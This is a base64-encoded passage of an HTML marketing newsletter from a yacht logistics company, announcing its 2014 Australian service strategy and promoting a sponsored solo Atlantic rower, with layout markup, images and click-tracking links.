ICAgICAgICAgIDx0ZCBjbGFzcz0iY29udGVudGJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg0IHN0eWxlPSJtYXJnaW4tdG9wOiAwcHg7Ij4m bmJzcDs8L2g0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8aDQgc3R5bGU9Im1hcmdpbi10b3A6IDBweDsiPk5ldyBTdHJhdGVneSBGb3IgQXVzdHJhbGlh PC9oND4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+ PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsgY29sb3I6ICMwMDAwMDA7Ij5BdXJvcmEg aGFzIGFubm91bmNlZCBpdCdzIG5ldyBzdHJhdGVneSBmb3IgcHJvdmlkaW5nIHNlcnZpY2VzIHdp dGhpbiBBdXN0cmFsaWEgZm9yIDIwMTQuPC9zcGFuPjwvcD4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBB cmlhbDsgY29sb3I6ICMwMDAwMDA7Ij5BcyBhIHJlc3VsdCBvZiBBdXJvcmEncyBncm93dGgsIHdl IHdpbGwgYmUgY29uY2VudHJhdGluZyBhbGwgZWZmb3J0cyBvbiB0aGUgUGV0ZXIncyBhbmQgTWF5 IG5ldHdvcmsgd2l0aCBpdCdzIGxhcmdlIHJhbmdlIG9mIHNoaXBwaW5nIG9wdGlvbnMuIFRoaXMg bmV0d29yaywgaW4gYWRkaXRpb24gdG8gdGhlIGhpZ2ggbGV2ZWwgb2Ygc2VydmljZSBhbmQgY29z dCBlZmZlY3RpdmUgZGVsaXZlcnkgc29sdXRpb25zLCBtYWtlIEF1cm9yYSB0aGUgbGFyZ2VzdCBh bmQgbW9zdCBwcm9taW5lbnQsIEF1c3RyYWxpYW4gb3duZWQgYW5kIG9wZXJhdGVkLCB5YWNodCBs b2dpc3RpY3MgY29tcGFueS4gQXVyb3JhIGhhcyBzcGVjaWZpY2FsbHkgc2VnbWVudGVkIGl0J3Mg c2VydmljZXMgdG8gcHJvdmlkZSBHZW5lcmFsIE1hcmluZSBGcmVpZ2h0LCBNYXJpbmUgRXZlbnQg TG9naXN0aWNzLCBDb21tZXJjaWFsIEJvYXQgVHJhbnNwb3J0IGFuZCBDdXN0b21zIENsZWFyYW5j ZSBkaXZpc2lvbnMuPC9zcGFuPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPHA+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsgY29sb3I6 ICMzZjNmM2Y7Ij48c3Ryb25nPjxhIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIu YXNwP0U9ODM3Mzc0NCZUPTEzOTQwMiZVPTU2MDkzNThiY2IzNTFkNjQzMjc4YjQ3NmJlYTAwMzMx MDdkIj5GSU5EIE9VVCBNT1JFPC9hPjwvc3Ryb25nPjwvc3Bhbj48L3A+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iYmFja2dyb3VuZC1j b2xvcjogcmdiKDI1NSwgMjU1LCAyNTUpOyIgd2lkdGg9IjMwIj4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHA+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICZuYnNwOzwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PHA+Jm5ic3A7PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD4mbmJz cDs8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPiZuYnNwOzwvcD4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJiYWNrZ3Jv dW5kLWNvbG9yOiByZ2IoMjU1LCAyNTUsIDI1NSk7IiBjb2xzcGFuPSIzIiBoZWlnaHQ9IjMwIj48 L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8L3Rib2R5PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgog ICAgICAgICAgICAgICAgICAgICAgICA8cD4mbmJzcDs8L3A+CiAgICAgICAgICAgICAgICAgICAg ICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGJv ZHk+CiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJySGFuZGxl IHJyU1ciIHN0eWxlPSJsZWZ0OiAzMjUuNXB4OyB0b3A6IDE5NDcuNXB4OyB3aWR0aDogN3B4OyBo ZWlnaHQ6IDdweDsgcG9zaXRpb246IGFic29sdXRlOyB6LWluZGV4OiBhdXRvOyBjdXJzb3I6IHN3 LXJlc2l6ZTsiIHVuc2VsZWN0YWJsZT0ib24iPiZuYnNwOzwvZGl2PgogICAgICAgICAgICA8ZGl2 IGNsYXNzPSJyckhhbmRsZSByclMiIHN0eWxlPSJsZWZ0OiA2MzdweDsgdG9wOiAxOTQ3LjVweDsg d2lkdGg6IDdweDsgaGVpZ2h0OiA3cHg7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgei1pbmRleDogYXV0 bzsgY3Vyc29yOiBzLXJlc2l6ZTsiIHVuc2VsZWN0YWJsZT0ib24iPiZuYnNwOzwvZGl2PgogICAg ICAgICAgICA8ZGl2IGNsYXNzPSJyckhhbmRsZSByclNFIiBzdHlsZT0ibGVmdDogOTQ4LjVweDsg dG9wOiAxOTQ3LjVweDsgd2lkdGg6IDdweDsgaGVpZ2h0OiA3cHg7IHBvc2l0aW9uOiBhYnNvbHV0 ZTsgei1pbmRleDogYXV0bzsgY3Vyc29yOiBzZS1yZXNpemU7IiB1bnNlbGVjdGFibGU9Im9uIj4m bmJzcDs8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icnJIYW5kbGUgcnJFIiBzdHlsZT0i bGVmdDogOTQ4LjVweDsgdG9wOiA5OTJweDsgd2lkdGg6IDdweDsgaGVpZ2h0OiA3cHg7IHBvc2l0 aW9uOiBhYnNvbHV0ZTsgei1pbmRleDogYXV0bzsgY3Vyc29yOiBlLXJlc2l6ZTsiIHVuc2VsZWN0 YWJsZT0ib24iPiZuYnNwOzwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyckhhbmRsZSBy ck5FIiBzdHlsZT0ibGVmdDogOTQ4LjVweDsgdG9wOiAzNi41cHg7IHdpZHRoOiA3cHg7IGhlaWdo dDogN3B4OyBwb3NpdGlvbjogYWJzb2x1dGU7IHotaW5kZXg6IGF1dG87IGN1cnNvcjogbmUtcmVz aXplOyIgdW5zZWxlY3RhYmxlPSJvbiI+Jm5ic3A7PC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xh c3M9InJySGFuZGxlIHJyTiIgc3R5bGU9ImxlZnQ6IDYzN3B4OyB0b3A6IDM2LjVweDsgd2lkdGg6 IDdweDsgaGVpZ2h0OiA3cHg7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgei1pbmRleDogYXV0bzsgY3Vy c29yOiBuLXJlc2l6ZTsiIHVuc2VsZWN0YWJsZT0ib24iPiZuYnNwOzwvZGl2PgogICAgICAgICAg ICA8ZGl2IGNsYXNzPSJyckhhbmRsZSByck5XIiBzdHlsZT0ibGVmdDogMzI1LjVweDsgdG9wOiAz Ni41cHg7IHdpZHRoOiA3cHg7IGhlaWdodDogN3B4OyBwb3NpdGlvbjogYWJzb2x1dGU7IHotaW5k ZXg6IGF1dG87IGN1cnNvcjogbnctcmVzaXplOyIgdW5zZWxlY3RhYmxlPSJvbiI+Jm5ic3A7PC9k aXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJySGFuZGxlIHJyVyIgc3R5bGU9ImxlZnQ6IDMy NS41cHg7IHRvcDogOTkycHg7IHdpZHRoOiA3cHg7IGhlaWdodDogN3B4OyBwb3NpdGlvbjogYWJz b2x1dGU7IHotaW5kZXg6IGF1dG87IGN1cnNvcjogdy1yZXNpemU7IiB1bnNlbGVjdGFibGU9Im9u Ij4mbmJzcDs8L2Rpdj4KICAgICAgICAgICAgPGltZyBhbHQ9IiIgd2lkdGg9IjEiIGhlaWdodD0i MjUiIGNsYXNzPSJkaXZpZGVyIiBzdHlsZT0iYm9yZGVyLXdpZHRoOiAwcHg7IGJvcmRlci1zdHls ZTogc29saWQ7IiBzcmM9Imh0dHA6Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xv YmFsTG9naXN0aWNzL2ltYWdlcy9zcGFjZXIuZ2lmIj4KICAgICAgICAgICAgPHRhYmxlIHdpZHRo PSI2MjAiIGFsaWduPSJjZW50ZXIiIGNsYXNzPSJ0YWJsZSIgYm9yZGVyPSIwIiBjZWxsc3BhY2lu Zz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAg ICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjZWxsIiBz dHlsZT0iIiB3aWR0aD0iNjIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRo PSI2MDAiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDx0Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0i YmFja2dyb3VuZC1jb2xvcjogI2ZmZmZmZjsiIGNvbHNwYW49IjMiPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8aW1nIHdpZHRoPSI2MDAiIGhlaWdodD0iODUiIHN0eWxlPSJi b3JkZXItd2lkdGg6IDBweDsgYm9yZGVyLXN0eWxlOiBzb2xpZDsiIGFsdD0iQWR2ZW50dXJlIDQg YSBDdXJlIiBzcmM9Imh0dHA6Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFs TG9naXN0aWNzL2ltYWdlcy9hZHZlbnR1cmVfNF9hX2N1cmUuanBnIj4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2Io MjU1LCAyNTUsIDI1NSk7IiBjb2xzcGFuPSIzIiBoZWlnaHQ9IjMwIj48L3RkPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImJh Y2tncm91bmQtY29sb3I6IHJnYigyNTUsIDI1NSwgMjU1KTsiIHdpZHRoPSIzMCI+PC90ZD4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250ZW50YmxvY2si IHZhbGlnbj0idG9wIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKDI1NSwgMjU1LCAyNTUp OyIgd2lkdGg9IjU0MCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0YWJsZSBzdHlsZT0id2lkdGg6IDU0 MHB4OyIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFs aWduOiBjZW50ZXI7IHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7IiB3aWR0aD0iMjUwIj48aW1nIGFs dD0iIiB3aWR0aD0iMjUwIiBoZWlnaHQ9IjE1MCIgc3JjPSJodHRwOi8vd2Vic2l0ZXMubWFpbGJh bmsuY29tLmF1L0F1cm9yYUdsb2JhbExvZ2lzdGljcy9pbWFnZXMvYW5kcmV3eG1hcy5qcGciPiZu YnNwOyZuYnNwOyA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8dGQgc3R5bGU9IiIgd2lkdGg9IjQwIj48L3RkPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9InRl eHQtYWxpZ246IGNlbnRlcjsgdmVydGljYWwtYWxpZ246IG1pZGRsZTsiIHdpZHRoPSIyNTAiPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD4mbmJzcDsm bmJzcDs8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDxwPjxpbWcgYWx0PSIiIHNyYz0iaHR0cDovL3dlYnNpdGVzLm1haWxiYW5rLmNvbS5hdS9BdXJv cmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL0lNR183ODU4LjEzNTAwNl90aHVtYi5qcGciPjwvcD4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg0IHN0eWxl PSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij4mbmJzcDs8L2g0PgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8dGQgdmFsaWduPSJ0b3AiIHN0eWxlPSIiIHdpZHRoPSIyNTAiPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDQ+TWVycnkgQ2hyaXN0bWFz PC9oND4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90 ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0 eWxlPSIiIHdpZHRoPSI0MCI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiBzdHlsZT0idGV4dC1hbGlnbjog bGVmdDsgdmVydGljYWwtYWxpZ246IG1pZGRsZTsiIHdpZHRoPSIyNTAiPgogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDQ+U3VwcG9ydCBBbmRyZXcmbmJz cDs8L2g0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiIHN0 eWxlPSIiIHdpZHRoPSIyNTAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8cD4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjMGMwYzBjOyI+SWYgeW91J3JlIGlu IG5lZWQgb2Ygc29tZSBtb3RpdmF0aW9uIHRvIGtpY2sgc3RhcnQgdGhlIG5ldyB5ZWFyLCBBbmRy ZXcgQWJyYWhhbXMgaGFzIGJlZW4gcm93aW5nIHNvbG8gYWNyb3NzIHRoZSB1bmZvcmdpdmluZyBB dGxhbnRpYyBPY2VhbiBmb3IgdGhlIHBhc3QgMzYgZGF5cyBhbmQgaXMgbm93IHR3byB0aGlyZHMg b2YgdGhlIHdheSB0byBjcm9zc2luZyB0aGUgZmluaXNoIGxpbmUuIEFuZHJldyBoYXMgc3VmZmVy ZWQgYSBsb25nIGJvdXQgb2Ygc2VhIHNpY2tuZXNzIHlldCBzdGlsbCBmb3VuZCB0aGUgc3Bpcml0 IHRvIGhhdmUgYSBidWJibGUgYmF0aCBpbiBhJm5ic3A7c2FudGEgaGF0IG9uIENocmlzdG1hcyBE YXkuPC9zcGFuPiA8L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDxwPjxhIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3 Mzc0NCZUPTEzOTQwMiZVPTU2MDI3YjA2MmE0MDYxNDQzZWRhYzU4MDE4ZTY3MDFiZDE2Ij5UUkFD SyBISVMgSk9VUk5FWTwvYT4gPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8cD48YSBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1L3JlZGlyLmFz cD9FPTgzNzM3NDQmVD0xMzk0MDImVT01NjA5Y2JkMGQyOTQwNzE0MWJkODYwYmZkYjkzNTdjYmI5 ZCI+UkVBRCBISVMgQkxPRzwvYT4mbmJzcDsmbmJzcDsgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IDwvcD4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+PHN0cm9uZz48L3N0cm9u Zz48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwv dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBz dHlsZT0iIiB3aWR0aD0iNDAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCIgc3R5bGU9IiIgd2lkdGg9IjI1MCI+IDxt dWx0aWxpbmUgbGFiZWw9IkFkdmVudHVyZSAyIENvbnRlbnQiPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6 IEFyaWFsOyBjb2xvcjogIzAwMDAwMDsiPkZvciBtb3JlIGluZm9ybWF0aW9uIGFib3V0IGhvdyB5 b3UgY2FuIHNwb25zb3IgQW5kcmV3IGluIHRoZSBUYWxpc2tlciBXaGlza3kgQXRsYW50aWMgQ2hh bGxlbmdlIHBsZWFzZSB2aXNpdCBoaXMgd2Vic2l0ZS48L3NwYW4+PC9wPgogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48c3Ryb25nPjxzcGFuIHN0eWxl PSJmb250LWZhbWlseTogQXJpYWw7IGNvbG9yOiAjMDAwMDAwOyI+PGEgaHJlZj0iaHR0cDovL21h aWxiYW5rLmNvbS5hdS9yZWRpci5hc3A/RT04MzczNzQ0JlQ9MTM5NDAyJlU9NTYwZWVlZDBhZGU5 NmI2NDE3MWFlNWZlNmExNmIzYjBjMmYiPkZJTkQgT1VUIE1PUkU8L2E+PC9zcGFuPjwvc3Ryb25n PjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+ IDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJy PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbXVsdGlsaW5l PiA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3Rib2R5PgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsg PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJiYWNr Z3JvdW5kLWNvbG9yOiByZ2IoMjU1LCAyNTUsIDI1NSk7IiB3aWR0aD0iMzAiPjwvdGQ+CiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHls ZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKDI1NSwgMjU1LCAyNTUpOyIgY29sc3Bhbj0iMyIgaGVp Z2h0PSIxMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAg PC90YWJsZT4KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAg ICA8L3RyPgogICAgICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICAgICAgPC90YWJsZT4KICAg ICAgICAgICAgPGltZyBhbHQ9IiIgd2lkdGg9IjEiIGhlaWdodD0iMjUiIGNsYXNzPSJkaXZpZGVy IiBzdHlsZT0iYm9yZGVyLXdpZHRoOiAwcHg7IGJvcmRlci1zdHlsZTogc29saWQ7IiBzcmM9Imh0 dHA6Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdl cy9zcGFjZXIuZ2lmIj4KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSI2MjAiIGFsaWduPSJjZW50 ZXIiIGNsYXNzPSJ0YWJsZSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9 IjAiPgogICAgICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAg ICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjZWxsIiBzdHlsZT0iIiB3aWR0aD0iNjIw Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSI2MDAiIGJvcmRlcj0iMCIg Y2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDx0Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjog cmdiKDI1NSwgMjU1LCAyNTUpOyIgY29sc3Bhbj0iMyIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxl PSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjU1LCAyNTUsIDI1NSk7IiB3aWR0aD0iMzAiPjwvdGQ+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iYmFja2dyb3Vu ZC1jb2xvcjogI2ZmZmZmZjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 aW1nIHdpZHRoPSI1MzYiIGhlaWdodD0iMTgiIHN0eWxlPSJib3JkZXItd2lkdGg6IDBweDsgYm9y ZGVyLXN0eWxlOiBzb2xpZDsgbWFyZ2luLWJvdHRvbTogMjVweDsiIGFsdD0iT2NlYW4gTGl2ZSBO ZXdzIiBzcmM9Imh0dHA6Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9n aXN0aWNzL2ltYWdlcy9vY2Vhbl9saXZlX25ld3MuanBnIj4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PHRkIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjU1LCAyNTUsIDI1NSk7IiB3aWR0aD0i MzAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKDI1NSwgMjU1LCAyNTUpOyIg d2lkdGg9IjMwIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQg Y2xhc3M9ImNvbnRlbnRibG9jayIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYigyNTUsIDI1 NSwgMjU1KTsiIHdpZHRoPSI1NDAiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw 